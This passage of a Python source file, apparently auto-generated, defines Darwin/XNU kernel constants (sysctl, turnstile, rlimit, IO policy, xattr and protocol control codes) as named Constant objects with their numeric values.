Constant('THREAD_MOVED_IN_TURNSTILE_WAITQ',0x3) TURNSTILE_ADDED_TO_TURNSTILE_HEAP = Constant('TURNSTILE_ADDED_TO_TURNSTILE_HEAP',0x4) TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP = Constant('TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP',0x5) TURNSTILE_MOVED_IN_TURNSTILE_HEAP = Constant('TURNSTILE_MOVED_IN_TURNSTILE_HEAP',0x6) TURNSTILE_ADDED_TO_THREAD_HEAP = Constant('TURNSTILE_ADDED_TO_THREAD_HEAP',0x7) TURNSTILE_REMOVED_FROM_THREAD_HEAP = Constant('TURNSTILE_REMOVED_FROM_THREAD_HEAP',0x8) TURNSTILE_MOVED_IN_THREAD_HEAP = Constant('TURNSTILE_MOVED_IN_THREAD_HEAP',0x9) TURNSTILE_UPDATE_STOPPED_BY_LIMIT = Constant('TURNSTILE_UPDATE_STOPPED_BY_LIMIT',0xa) THREAD_NOT_WAITING_ON_TURNSTILE = Constant('THREAD_NOT_WAITING_ON_TURNSTILE',0xb) TURNSTILE_PRIORITY_CHANGE = Constant('TURNSTILE_PRIORITY_CHANGE',0x1) THREAD_USER_PROMOTION_CHANGE = Constant('THREAD_USER_PROMOTION_CHANGE',0x2) TURNSTILE_PREPARE = Constant('TURNSTILE_PREPARE',0x1) TURNSTILE_COMPLETE = Constant('TURNSTILE_COMPLETE',0x2) BANK_ACCOUNT_INFO = Constant('BANK_ACCOUNT_INFO',0x10) BANK_TASK_INFO = Constant('BANK_TASK_INFO',0x11) ATM_SUBAID_INFO = Constant('ATM_SUBAID_INFO',0x10) ATM_GETVALUE_INFO = Constant('ATM_GETVALUE_INFO',0x20) ATM_UNREGISTER_INFO = Constant('ATM_UNREGISTER_INFO',0x30) BANK_SETTLE_CPU_TIME = Constant('BANK_SETTLE_CPU_TIME',0x1) BANK_SECURE_ORIGINATOR_CHANGED = Constant('BANK_SECURE_ORIGINATOR_CHANGED',0x2) BANK_SETTLE_ENERGY = Constant('BANK_SETTLE_ENERGY',0x3) ATM_MIN_CALLED = Constant('ATM_MIN_CALLED',0x1) ATM_LINK_LIST_TRIM = Constant('ATM_LINK_LIST_TRIM',0x2) ATM_VALUE_REPLACED = Constant('ATM_VALUE_REPLACED',0x1) ATM_VALUE_ADDED = Constant('ATM_VALUE_ADDED',0x2) ATM_VALUE_UNREGISTERED = Constant('ATM_VALUE_UNREGISTERED',0x1) ATM_VALUE_DIFF_MAILBOX = Constant('ATM_VALUE_DIFF_MAILBOX',0x2) DBG_DAEMON_COREDUET = Constant('DBG_DAEMON_COREDUET',0x1) DBG_DAEMON_POWERD = Constant('DBG_DAEMON_POWERD',0x2) DBG_UMALLOC_EXTERNAL = Constant('DBG_UMALLOC_EXTERNAL',0x1) DBG_UMALLOC_INTERNAL = Constant('DBG_UMALLOC_INTERNAL',0x2) BSD = Constant('BSD',199506) BSD4_3 = Constant('BSD4_3',1) BSD4_4 = Constant('BSD4_4',1) NeXTBSD = Constant('NeXTBSD',1995064) NeXTBSD4_0 = Constant('NeXTBSD4_0',0) MAXCOMLEN = Constant('MAXCOMLEN',16) MAXINTERP = Constant('MAXINTERP',64) MAXLOGNAME = Constant('MAXLOGNAME',255) NOFILE = Constant('NOFILE',256) NOGROUP = Constant('NOGROUP',65535) MAXHOSTNAMELEN = Constant('MAXHOSTNAMELEN',256) MAXDOMNAMELEN = Constant('MAXDOMNAMELEN',256) PSWP = Constant('PSWP',0) PVM = Constant('PVM',4) PINOD = Constant('PINOD',8) PRIBIO = Constant('PRIBIO',16) PVFS = Constant('PVFS',20) PZERO = Constant('PZERO',22) PSOCK = Constant('PSOCK',24) PWAIT = Constant('PWAIT',32) PLOCK = Constant('PLOCK',36) PPAUSE = Constant('PPAUSE',40) PUSER = Constant('PUSER',50) MAXPRI = Constant('MAXPRI',127) PRIMASK = Constant('PRIMASK',0x0ff) PCATCH = Constant('PCATCH',0x100) PTTYBLOCK = Constant('PTTYBLOCK',0x200) PDROP = Constant('PDROP',0x400) PSPIN = Constant('PSPIN',0x800) CMASK = Constant('CMASK',0o022) CBLOCK = Constant('CBLOCK',64) MAXFRAG = Constant('MAXFRAG',8) MAXSYMLINKS = Constant('MAXSYMLINKS',32) FSHIFT = Constant('FSHIFT',11) LF_NOT_BOOSTED = Constant('LF_NOT_BOOSTED',0) LF_BOOSTED = Constant('LF_BOOSTED',1) PSHMNAMLEN = Constant('PSHMNAMLEN',31) SHM_RDONLY = Constant('SHM_RDONLY',0o010000) SHM_RND = Constant('SHM_RND',0o020000) SHMLBA = Constant('SHMLBA',4096) TIOCM_LE = Constant('TIOCM_LE',0o0001) TIOCM_DTR = Constant('TIOCM_DTR',0o0002) TIOCM_RTS = Constant('TIOCM_RTS',0o0004) TIOCM_ST = Constant('TIOCM_ST',0o0010) TIOCM_SR = Constant('TIOCM_SR',0o0020) TIOCM_CTS = Constant('TIOCM_CTS',0o0040) TIOCM_CAR = Constant('TIOCM_CAR',0o0100) TIOCM_RNG = Constant('TIOCM_RNG',0o0200) TIOCM_DSR = Constant('TIOCM_DSR',0o0400) TIOCPKT_DATA = Constant('TIOCPKT_DATA',0x00) TIOCPKT_FLUSHREAD = Constant('TIOCPKT_FLUSHREAD',0x01) TIOCPKT_FLUSHWRITE = Constant('TIOCPKT_FLUSHWRITE',0x02) TIOCPKT_STOP = Constant('TIOCPKT_STOP',0x04) TIOCPKT_START = Constant('TIOCPKT_START',0x08) TIOCPKT_NOSTOP = Constant('TIOCPKT_NOSTOP',0x10) TIOCPKT_DOSTOP = Constant('TIOCPKT_DOSTOP',0x20) TIOCPKT_IOCTL = Constant('TIOCPKT_IOCTL',0x40) TTYDISC = Constant('TTYDISC',0) TABLDISC = Constant('TABLDISC',3) SLIPDISC = Constant('SLIPDISC',4) PPPDISC = Constant('PPPDISC',5) CTL_MAXNAME = Constant('CTL_MAXNAME',12) CTLTYPE = Constant('CTLTYPE',0xf) CTLTYPE_NODE = Constant('CTLTYPE_NODE',1) CTLTYPE_INT = Constant('CTLTYPE_INT',2) CTLTYPE_STRING = Constant('CTLTYPE_STRING',3) CTLTYPE_QUAD = Constant('CTLTYPE_QUAD',4) CTLTYPE_OPAQUE = Constant('CTLTYPE_OPAQUE',5) CTLFLAG_RD = Constant('CTLFLAG_RD',0x80000000) CTLFLAG_WR = Constant('CTLFLAG_WR',0x40000000) CTLFLAG_NOLOCK = Constant('CTLFLAG_NOLOCK',0x20000000) CTLFLAG_ANYBODY = Constant('CTLFLAG_ANYBODY',0x10000000) CTLFLAG_SECURE = Constant('CTLFLAG_SECURE',0x08000000) CTLFLAG_MASKED = Constant('CTLFLAG_MASKED',0x04000000) CTLFLAG_NOAUTO = Constant('CTLFLAG_NOAUTO',0x02000000) CTLFLAG_KERN = Constant('CTLFLAG_KERN',0x01000000) CTLFLAG_LOCKED = Constant('CTLFLAG_LOCKED',0x00800000) CTLFLAG_OID2 = Constant('CTLFLAG_OID2',0x00400000) CTLFLAG_EXPERIMENT = Constant('CTLFLAG_EXPERIMENT',0x00100000) OID_AUTO_START = Constant('OID_AUTO_START',100) SYSCTL_OID_VERSION = Constant('SYSCTL_OID_VERSION',1) SYSCTL_SKMEM = Constant('SYSCTL_SKMEM',1) CTL_UNSPEC = Constant('CTL_UNSPEC',0) CTL_KERN = Constant('CTL_KERN',1) CTL_VM = Constant('CTL_VM',2) CTL_VFS = Constant('CTL_VFS',3) CTL_NET = Constant('CTL_NET',4) CTL_DEBUG = Constant('CTL_DEBUG',5) CTL_HW = Constant('CTL_HW',6) CTL_MACHDEP = Constant('CTL_MACHDEP',7) CTL_USER = Constant('CTL_USER',8) CTL_MAXID = Constant('CTL_MAXID',9) KERN_OSTYPE = Constant('KERN_OSTYPE',1) KERN_OSRELEASE = Constant('KERN_OSRELEASE',2) KERN_OSREV = Constant('KERN_OSREV',3) KERN_VERSION = Constant('KERN_VERSION',4) KERN_MAXVNODES = Constant('KERN_MAXVNODES',5) KERN_MAXPROC = Constant('KERN_MAXPROC',6) KERN_MAXFILES = Constant('KERN_MAXFILES',7) KERN_ARGMAX = Constant('KERN_ARGMAX',8) KERN_SECURELVL = Constant('KERN_SECURELVL',9) KERN_HOSTNAME = Constant('KERN_HOSTNAME',10) KERN_HOSTID = Constant('KERN_HOSTID',11) KERN_CLOCKRATE = Constant('KERN_CLOCKRATE',12) KERN_VNODE = Constant('KERN_VNODE',13) KERN_PROC = Constant('KERN_PROC',14) KERN_FILE = Constant('KERN_FILE',15) KERN_PROF = Constant('KERN_PROF',16) KERN_POSIX1 = Constant('KERN_POSIX1',17) KERN_NGROUPS = Constant('KERN_NGROUPS',18) KERN_JOB_CONTROL = Constant('KERN_JOB_CONTROL',19) KERN_SAVED_IDS = Constant('KERN_SAVED_IDS',20) KERN_BOOTTIME = Constant('KERN_BOOTTIME',21) KERN_NISDOMAINNAME = Constant('KERN_NISDOMAINNAME',22) KERN_MAXPARTITIONS = Constant('KERN_MAXPARTITIONS',23) KERN_KDEBUG = Constant('KERN_KDEBUG',24) KERN_UPDATEINTERVAL = Constant('KERN_UPDATEINTERVAL',25) KERN_OSRELDATE = Constant('KERN_OSRELDATE',26) KERN_NTP_PLL = Constant('KERN_NTP_PLL',27) KERN_BOOTFILE = Constant('KERN_BOOTFILE',28) KERN_MAXFILESPERPROC = Constant('KERN_MAXFILESPERPROC',29) KERN_MAXPROCPERUID = Constant('KERN_MAXPROCPERUID',30) KERN_DUMPDEV = Constant('KERN_DUMPDEV',31) KERN_IPC = Constant('KERN_IPC',32) KERN_DUMMY = Constant('KERN_DUMMY',33) KERN_PS_STRINGS = Constant('KERN_PS_STRINGS',34) KERN_USRSTACK32 = Constant('KERN_USRSTACK32',35) KERN_LOGSIGEXIT = Constant('KERN_LOGSIGEXIT',36) KERN_SYMFILE = Constant('KERN_SYMFILE',37) KERN_PROCARGS = Constant('KERN_PROCARGS',38) KERN_NETBOOT = Constant('KERN_NETBOOT',40) KERN_SYSV = Constant('KERN_SYSV',42) KERN_AFFINITY = Constant('KERN_AFFINITY',43) KERN_TRANSLATE = Constant('KERN_TRANSLATE',44) KERN_EXEC = Constant('KERN_EXEC',45) KERN_AIOMAX = Constant('KERN_AIOMAX',46) KERN_AIOPROCMAX = Constant('KERN_AIOPROCMAX',47) KERN_AIOTHREADS = Constant('KERN_AIOTHREADS',48) KERN_PROCARGS2 = Constant('KERN_PROCARGS2',49) KERN_COREFILE = Constant('KERN_COREFILE',50) KERN_COREDUMP = Constant('KERN_COREDUMP',51) KERN_SUGID_COREDUMP = Constant('KERN_SUGID_COREDUMP',52) KERN_PROCDELAYTERM = Constant('KERN_PROCDELAYTERM',53) KERN_SHREG_PRIVATIZABLE = Constant('KERN_SHREG_PRIVATIZABLE',54) KERN_LOW_PRI_WINDOW = Constant('KERN_LOW_PRI_WINDOW',56) KERN_LOW_PRI_DELAY = Constant('KERN_LOW_PRI_DELAY',57) KERN_POSIX = Constant('KERN_POSIX',58) KERN_USRSTACK64 = Constant('KERN_USRSTACK64',59) KERN_NX_PROTECTION = Constant('KERN_NX_PROTECTION',60) KERN_TFP = Constant('KERN_TFP',61) KERN_PROCNAME = Constant('KERN_PROCNAME',62) KERN_THALTSTACK = Constant('KERN_THALTSTACK',63) KERN_SPECULATIVE_READS = Constant('KERN_SPECULATIVE_READS',64) KERN_OSVERSION = Constant('KERN_OSVERSION',65) KERN_SAFEBOOT = Constant('KERN_SAFEBOOT',66) KERN_RAGEVNODE = Constant('KERN_RAGEVNODE',68) KERN_TTY = Constant('KERN_TTY',69) KERN_CHECKOPENEVT = Constant('KERN_CHECKOPENEVT',70) KERN_THREADNAME = Constant('KERN_THREADNAME',71) KERN_MAXID = Constant('KERN_MAXID',72) KERN_RAGE_PROC = Constant('KERN_RAGE_PROC',1) KERN_RAGE_THREAD = Constant('KERN_RAGE_THREAD',2) KERN_UNRAGE_PROC = Constant('KERN_UNRAGE_PROC',3) KERN_UNRAGE_THREAD = Constant('KERN_UNRAGE_THREAD',4) KERN_OPENEVT_PROC = Constant('KERN_OPENEVT_PROC',1) KERN_UNOPENEVT_PROC = Constant('KERN_UNOPENEVT_PROC',2) KERN_TFP_POLICY = Constant('KERN_TFP_POLICY',1) KERN_TFP_POLICY_DENY = Constant('KERN_TFP_POLICY_DENY',0) KERN_TFP_POLICY_DEFAULT = Constant('KERN_TFP_POLICY_DEFAULT',2) KERN_KDEFLAGS = Constant('KERN_KDEFLAGS',1) KERN_KDDFLAGS = Constant('KERN_KDDFLAGS',2) KERN_KDENABLE = Constant('KERN_KDENABLE',3) KERN_KDSETBUF = Constant('KERN_KDSETBUF',4) KERN_KDGETBUF = Constant('KERN_KDGETBUF',5) KERN_KDSETUP = Constant('KERN_KDSETUP',6) KERN_KDREMOVE = Constant('KERN_KDREMOVE',7) KERN_KDSETREG = Constant('KERN_KDSETREG',8) KERN_KDGETREG = Constant('KERN_KDGETREG',9) KERN_KDREADTR = Constant('KERN_KDREADTR',10) KERN_KDPIDTR = Constant('KERN_KDPIDTR',11) KERN_KDTHRMAP = Constant('KERN_KDTHRMAP',12) KERN_KDPIDEX = Constant('KERN_KDPIDEX',14) KERN_KDSETRTCDEC = Constant('KERN_KDSETRTCDEC',15) KERN_KDGETENTROPY = Constant('KERN_KDGETENTROPY',16) KERN_KDWRITETR = Constant('KERN_KDWRITETR',17) KERN_KDWRITEMAP = Constant('KERN_KDWRITEMAP',18) KERN_KDTEST = Constant('KERN_KDTEST',19) KERN_KDREADCURTHRMAP = Constant('KERN_KDREADCURTHRMAP',21) KERN_KDSET_TYPEFILTER = Constant('KERN_KDSET_TYPEFILTER',22) KERN_KDBUFWAIT = Constant('KERN_KDBUFWAIT',23) KERN_KDCPUMAP = Constant('KERN_KDCPUMAP',24) KERN_KDCPUMAP_EXT = Constant('KERN_KDCPUMAP_EXT',25) KERN_KDSET_EDM = Constant('KERN_KDSET_EDM',26) KERN_KDGET_EDM = Constant('KERN_KDGET_EDM',27) KERN_KDWRITETR_V3 = Constant('KERN_KDWRITETR_V3',28) KERN_PROC_ALL = Constant('KERN_PROC_ALL',0) KERN_PROC_PID = Constant('KERN_PROC_PID',1) KERN_PROC_PGRP = Constant('KERN_PROC_PGRP',2) KERN_PROC_SESSION = Constant('KERN_PROC_SESSION',3) KERN_PROC_TTY = Constant('KERN_PROC_TTY',4) KERN_PROC_UID = Constant('KERN_PROC_UID',5) KERN_PROC_RUID = Constant('KERN_PROC_RUID',6) KERN_PROC_LCID = Constant('KERN_PROC_LCID',7) KERN_VFSNSPACE_HANDLE_PROC = Constant('KERN_VFSNSPACE_HANDLE_PROC',1) KERN_VFSNSPACE_UNHANDLE_PROC = Constant('KERN_VFSNSPACE_UNHANDLE_PROC',2) KIPC_MAXSOCKBUF = Constant('KIPC_MAXSOCKBUF',1) KIPC_SOCKBUF_WASTE = Constant('KIPC_SOCKBUF_WASTE',2) KIPC_SOMAXCONN = Constant('KIPC_SOMAXCONN',3) KIPC_MAX_LINKHDR = Constant('KIPC_MAX_LINKHDR',4) KIPC_MAX_PROTOHDR = Constant('KIPC_MAX_PROTOHDR',5) KIPC_MAX_HDR = Constant('KIPC_MAX_HDR',6) KIPC_MAX_DATALEN = Constant('KIPC_MAX_DATALEN',7) KIPC_MBSTAT = Constant('KIPC_MBSTAT',8) KIPC_NMBCLUSTERS = Constant('KIPC_NMBCLUSTERS',9) KIPC_SOQLIMITCOMPAT = Constant('KIPC_SOQLIMITCOMPAT',10) VM_METER = Constant('VM_METER',1) VM_LOADAVG = Constant('VM_LOADAVG',2) VM_MACHFACTOR = Constant('VM_MACHFACTOR',4) VM_SWAPUSAGE = Constant('VM_SWAPUSAGE',5) VM_MAXID = Constant('VM_MAXID',6) LSCALE = Constant('LSCALE',1000) HW_MACHINE = Constant('HW_MACHINE',1) HW_MODEL = Constant('HW_MODEL',2) HW_NCPU = Constant('HW_NCPU',3) HW_BYTEORDER = Constant('HW_BYTEORDER',4) HW_PHYSMEM = Constant('HW_PHYSMEM',5) HW_USERMEM = Constant('HW_USERMEM',6) HW_PAGESIZE = Constant('HW_PAGESIZE',7) HW_DISKNAMES = Constant('HW_DISKNAMES',8) HW_DISKSTATS = Constant('HW_DISKSTATS',9) HW_EPOCH = Constant('HW_EPOCH',10) HW_FLOATINGPT = Constant('HW_FLOATINGPT',11) HW_MACHINE_ARCH = Constant('HW_MACHINE_ARCH',12) HW_VECTORUNIT = Constant('HW_VECTORUNIT',13) HW_BUS_FREQ = Constant('HW_BUS_FREQ',14) HW_CPU_FREQ = Constant('HW_CPU_FREQ',15) HW_CACHELINE = Constant('HW_CACHELINE',16) HW_L1ICACHESIZE = Constant('HW_L1ICACHESIZE',17) HW_L1DCACHESIZE = Constant('HW_L1DCACHESIZE',18) HW_L2SETTINGS = Constant('HW_L2SETTINGS',19) HW_L2CACHESIZE = Constant('HW_L2CACHESIZE',20) HW_L3SETTINGS = Constant('HW_L3SETTINGS',21) HW_L3CACHESIZE = Constant('HW_L3CACHESIZE',22) HW_TB_FREQ = Constant('HW_TB_FREQ',23) HW_MEMSIZE = Constant('HW_MEMSIZE',24) HW_AVAILCPU = Constant('HW_AVAILCPU',25) HW_TARGET = Constant('HW_TARGET',26) HW_PRODUCT = Constant('HW_PRODUCT',27) HW_MAXID = Constant('HW_MAXID',28) USER_CS_PATH = Constant('USER_CS_PATH',1) USER_BC_BASE_MAX = Constant('USER_BC_BASE_MAX',2) USER_BC_DIM_MAX = Constant('USER_BC_DIM_MAX',3) USER_BC_SCALE_MAX = Constant('USER_BC_SCALE_MAX',4) USER_BC_STRING_MAX = Constant('USER_BC_STRING_MAX',5) USER_COLL_WEIGHTS_MAX = Constant('USER_COLL_WEIGHTS_MAX',6) USER_EXPR_NEST_MAX = Constant('USER_EXPR_NEST_MAX',7) USER_LINE_MAX = Constant('USER_LINE_MAX',8) USER_RE_DUP_MAX = Constant('USER_RE_DUP_MAX',9) USER_POSIX2_VERSION = Constant('USER_POSIX2_VERSION',10) USER_POSIX2_C_BIND = Constant('USER_POSIX2_C_BIND',11) USER_POSIX2_C_DEV = Constant('USER_POSIX2_C_DEV',12) USER_POSIX2_CHAR_TERM = Constant('USER_POSIX2_CHAR_TERM',13) USER_POSIX2_FORT_DEV = Constant('USER_POSIX2_FORT_DEV',14) USER_POSIX2_FORT_RUN = Constant('USER_POSIX2_FORT_RUN',15) USER_POSIX2_LOCALEDEF = Constant('USER_POSIX2_LOCALEDEF',16) USER_POSIX2_SW_DEV = Constant('USER_POSIX2_SW_DEV',17) USER_POSIX2_UPE = Constant('USER_POSIX2_UPE',18) USER_STREAM_MAX = Constant('USER_STREAM_MAX',19) USER_TZNAME_MAX = Constant('USER_TZNAME_MAX',20) USER_MAXID = Constant('USER_MAXID',21) CTL_DEBUG_NAME = Constant('CTL_DEBUG_NAME',0) CTL_DEBUG_VALUE = Constant('CTL_DEBUG_VALUE',1) CTL_DEBUG_MAXID = Constant('CTL_DEBUG_MAXID',20) UTF_REVERSE_ENDIAN = Constant('UTF_REVERSE_ENDIAN',0x0001) UTF_NO_NULL_TERM = Constant('UTF_NO_NULL_TERM',0x0002) UTF_DECOMPOSED = Constant('UTF_DECOMPOSED',0x0004) UTF_PRECOMPOSED = Constant('UTF_PRECOMPOSED',0x0008) UTF_ESCAPE_ILLEGAL = Constant('UTF_ESCAPE_ILLEGAL',0x0010) UTF_SFM_CONVERSIONS = Constant('UTF_SFM_CONVERSIONS',0x0020) PRIO_PROCESS = Constant('PRIO_PROCESS',0) PRIO_PGRP = Constant('PRIO_PGRP',1) PRIO_USER = Constant('PRIO_USER',2) PRIO_DARWIN_THREAD = Constant('PRIO_DARWIN_THREAD',3) PRIO_DARWIN_PROCESS = Constant('PRIO_DARWIN_PROCESS',4) PRIO_MAX = Constant('PRIO_MAX',20) PRIO_DARWIN_BG = Constant('PRIO_DARWIN_BG',0x1000) PRIO_DARWIN_NONUI = Constant('PRIO_DARWIN_NONUI',0x1001) RUSAGE_SELF = Constant('RUSAGE_SELF',0) RUSAGE_INFO_V0 = Constant('RUSAGE_INFO_V0',0) RUSAGE_INFO_V1 = Constant('RUSAGE_INFO_V1',1) RUSAGE_INFO_V2 = Constant('RUSAGE_INFO_V2',2) RUSAGE_INFO_V3 = Constant('RUSAGE_INFO_V3',3) RUSAGE_INFO_V4 = Constant('RUSAGE_INFO_V4',4) RUSAGE_INFO_V5 = Constant('RUSAGE_INFO_V5',5) RUSAGE_INFO_V6 = Constant('RUSAGE_INFO_V6',6) RU_PROC_RUNS_RESLIDE = Constant('RU_PROC_RUNS_RESLIDE',0x00000001) RLIMIT_CPU = Constant('RLIMIT_CPU',0) RLIMIT_FSIZE = Constant('RLIMIT_FSIZE',1) RLIMIT_DATA = Constant('RLIMIT_DATA',2) RLIMIT_STACK = Constant('RLIMIT_STACK',3) RLIMIT_CORE = Constant('RLIMIT_CORE',4) RLIMIT_AS = Constant('RLIMIT_AS',5) RLIMIT_MEMLOCK = Constant('RLIMIT_MEMLOCK',6) RLIMIT_NPROC = Constant('RLIMIT_NPROC',7) RLIMIT_NOFILE = Constant('RLIMIT_NOFILE',8) RLIM_NLIMITS = Constant('RLIM_NLIMITS',9) _RLIMIT_POSIX_FLAG = Constant('_RLIMIT_POSIX_FLAG',0x1000) RLIMIT_WAKEUPS_MONITOR = Constant('RLIMIT_WAKEUPS_MONITOR',0x1) RLIMIT_CPU_USAGE_MONITOR = Constant('RLIMIT_CPU_USAGE_MONITOR',0x2) RLIMIT_THREAD_CPULIMITS = Constant('RLIMIT_THREAD_CPULIMITS',0x3) RLIMIT_FOOTPRINT_INTERVAL = Constant('RLIMIT_FOOTPRINT_INTERVAL',0x4) WAKEMON_ENABLE = Constant('WAKEMON_ENABLE',0x01) WAKEMON_DISABLE = Constant('WAKEMON_DISABLE',0x02) WAKEMON_GET_PARAMS = Constant('WAKEMON_GET_PARAMS',0x04) WAKEMON_SET_DEFAULTS = Constant('WAKEMON_SET_DEFAULTS',0x08) WAKEMON_MAKE_FATAL = Constant('WAKEMON_MAKE_FATAL',0x10) CPUMON_MAKE_FATAL = Constant('CPUMON_MAKE_FATAL',0x1000) FOOTPRINT_INTERVAL_RESET = Constant('FOOTPRINT_INTERVAL_RESET',0x1) IOPOL_TYPE_DISK = Constant('IOPOL_TYPE_DISK',0) IOPOL_TYPE_VFS_ATIME_UPDATES = Constant('IOPOL_TYPE_VFS_ATIME_UPDATES',2) IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES = Constant('IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES',3) IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME = Constant('IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME',4) IOPOL_TYPE_VFS_TRIGGER_RESOLVE = Constant('IOPOL_TYPE_VFS_TRIGGER_RESOLVE',5) IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION = Constant('IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION',6) IOPOL_TYPE_VFS_IGNORE_PERMISSIONS = Constant('IOPOL_TYPE_VFS_IGNORE_PERMISSIONS',7) IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE = Constant('IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE',8) IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES = Constant('IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES',9) IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY = Constant('IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY',10) IOPOL_SCOPE_PROCESS = Constant('IOPOL_SCOPE_PROCESS',0) IOPOL_SCOPE_THREAD = Constant('IOPOL_SCOPE_THREAD',1) IOPOL_SCOPE_DARWIN_BG = Constant('IOPOL_SCOPE_DARWIN_BG',2) IOPOL_DEFAULT = Constant('IOPOL_DEFAULT',0) IOPOL_IMPORTANT = Constant('IOPOL_IMPORTANT',1) IOPOL_PASSIVE = Constant('IOPOL_PASSIVE',2) IOPOL_THROTTLE = Constant('IOPOL_THROTTLE',3) IOPOL_UTILITY = Constant('IOPOL_UTILITY',4) IOPOL_STANDARD = Constant('IOPOL_STANDARD',5) IOPOL_ATIME_UPDATES_DEFAULT = Constant('IOPOL_ATIME_UPDATES_DEFAULT',0) IOPOL_ATIME_UPDATES_OFF = Constant('IOPOL_ATIME_UPDATES_OFF',1) IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT',0) IOPOL_MATERIALIZE_DATALESS_FILES_OFF = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_OFF',1) IOPOL_MATERIALIZE_DATALESS_FILES_ON = Constant('IOPOL_MATERIALIZE_DATALESS_FILES_ON',2) IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT = Constant('IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT',0) IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME = Constant('IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME',1) IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT = Constant('IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT',0) IOPOL_VFS_TRIGGER_RESOLVE_OFF = Constant('IOPOL_VFS_TRIGGER_RESOLVE_OFF',1) IOPOL_VFS_CONTENT_PROTECTION_DEFAULT = Constant('IOPOL_VFS_CONTENT_PROTECTION_DEFAULT',0) IOPOL_VFS_CONTENT_PROTECTION_IGNORE = Constant('IOPOL_VFS_CONTENT_PROTECTION_IGNORE',1) IOPOL_VFS_IGNORE_PERMISSIONS_OFF = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_OFF',0) IOPOL_VFS_IGNORE_PERMISSIONS_ON = Constant('IOPOL_VFS_IGNORE_PERMISSIONS_ON',1) IOPOL_VFS_SKIP_MTIME_UPDATE_OFF = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_OFF',0) IOPOL_VFS_SKIP_MTIME_UPDATE_ON = Constant('IOPOL_VFS_SKIP_MTIME_UPDATE_ON',1) IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF',0) IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON = Constant('IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON',1) IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT',0) IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON = Constant('IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON',1) IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT',0) IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON = Constant('IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON',1) IOCPARM_MASK = Constant('IOCPARM_MASK',0x1fff) XATTR_NOFOLLOW = Constant('XATTR_NOFOLLOW',0x0001) XATTR_CREATE = Constant('XATTR_CREATE',0x0002) XATTR_REPLACE = Constant('XATTR_REPLACE',0x0004) XATTR_NOSECURITY = Constant('XATTR_NOSECURITY',0x0008) XATTR_NODEFAULT = Constant('XATTR_NODEFAULT',0x0010) XATTR_SHOWCOMPRESSION = Constant('XATTR_SHOWCOMPRESSION',0x0020) XATTR_NOFOLLOW_ANY = Constant('XATTR_NOFOLLOW_ANY',0x0040) XATTR_MAXNAMELEN = Constant('XATTR_MAXNAMELEN',127) PR_SLOWHZ = Constant('PR_SLOWHZ',2) PRC_IFDOWN = Constant('PRC_IFDOWN',0) PRC_ROUTEDEAD = Constant('PRC_ROUTEDEAD',1) PRC_IFUP = Constant('PRC_IFUP',2) PRC_QUENCH2 = Constant('PRC_QUENCH2',3) PRC_QUENCH = Constant('PRC_QUENCH',4) PRC_MSGSIZE = Constant('PRC_MSGSIZE',5) PRC_HOSTDEAD = Constant('PRC_HOSTDEAD',6) PRC_HOSTUNREACH = Constant('PRC_HOSTUNREACH',7) PRC_UNREACH_NET = Constant('PRC_UNREACH_NET',8) PRC_UNREACH_HOST = Constant('PRC_UNREACH_HOST',9) PRC_UNREACH_PROTOCOL = Constant('PRC_UNREACH_PROTOCOL',10) PRC_UNREACH_PORT = Constant('PRC_UNREACH_PORT',11) PRC_UNREACH_SRCFAIL = Constant('PRC_UNREACH_SRCFAIL',13) PRC_REDIRECT_NET = Constant('PRC_REDIRECT_NET',14) PRC_REDIRECT_HOST = Constant('PRC_REDIRECT_HOST',15) PRC_REDIRECT_TOSNET = Constant('PRC_REDIRECT_TOSNET',16) PRC_REDIRECT_TOSHOST = Constant('PRC_REDIRECT_TOSHOST',17) PRC_TIMXCEED_INTRANS = Constant('PRC_TIMXCEED_INTRANS',18) PRC_TIMXCEED_REASS = Constant('PRC_TIMXCEED_REASS',19) PRC_PARAMPROB = Constant('PRC_PARAMPROB',20) PRC_UNREACH_ADMIN_PROHIB = Constant('PRC_UNREACH_ADMIN_PROHIB',21) PRC_NCMDS = Constant('PRC_NCMDS',22) KEV_CTL_SUBCLASS = Constant('KEV_CTL_SUBCLASS',2) KEV_CTL_REGISTERED = Constant('KEV_CTL_REGISTERED',1) KEV_CTL_DEREGISTERED = Constant('KEV_CTL_DEREGISTERED',2) MAX_KCTL_NAME = Constant('MAX_KCTL_NAME',96) CTL_FLAG_PRIVILEGED = Constant('CTL_FLAG_PRIVILEGED',0x1) CTL_FLAG_REG_ID_UNIT = 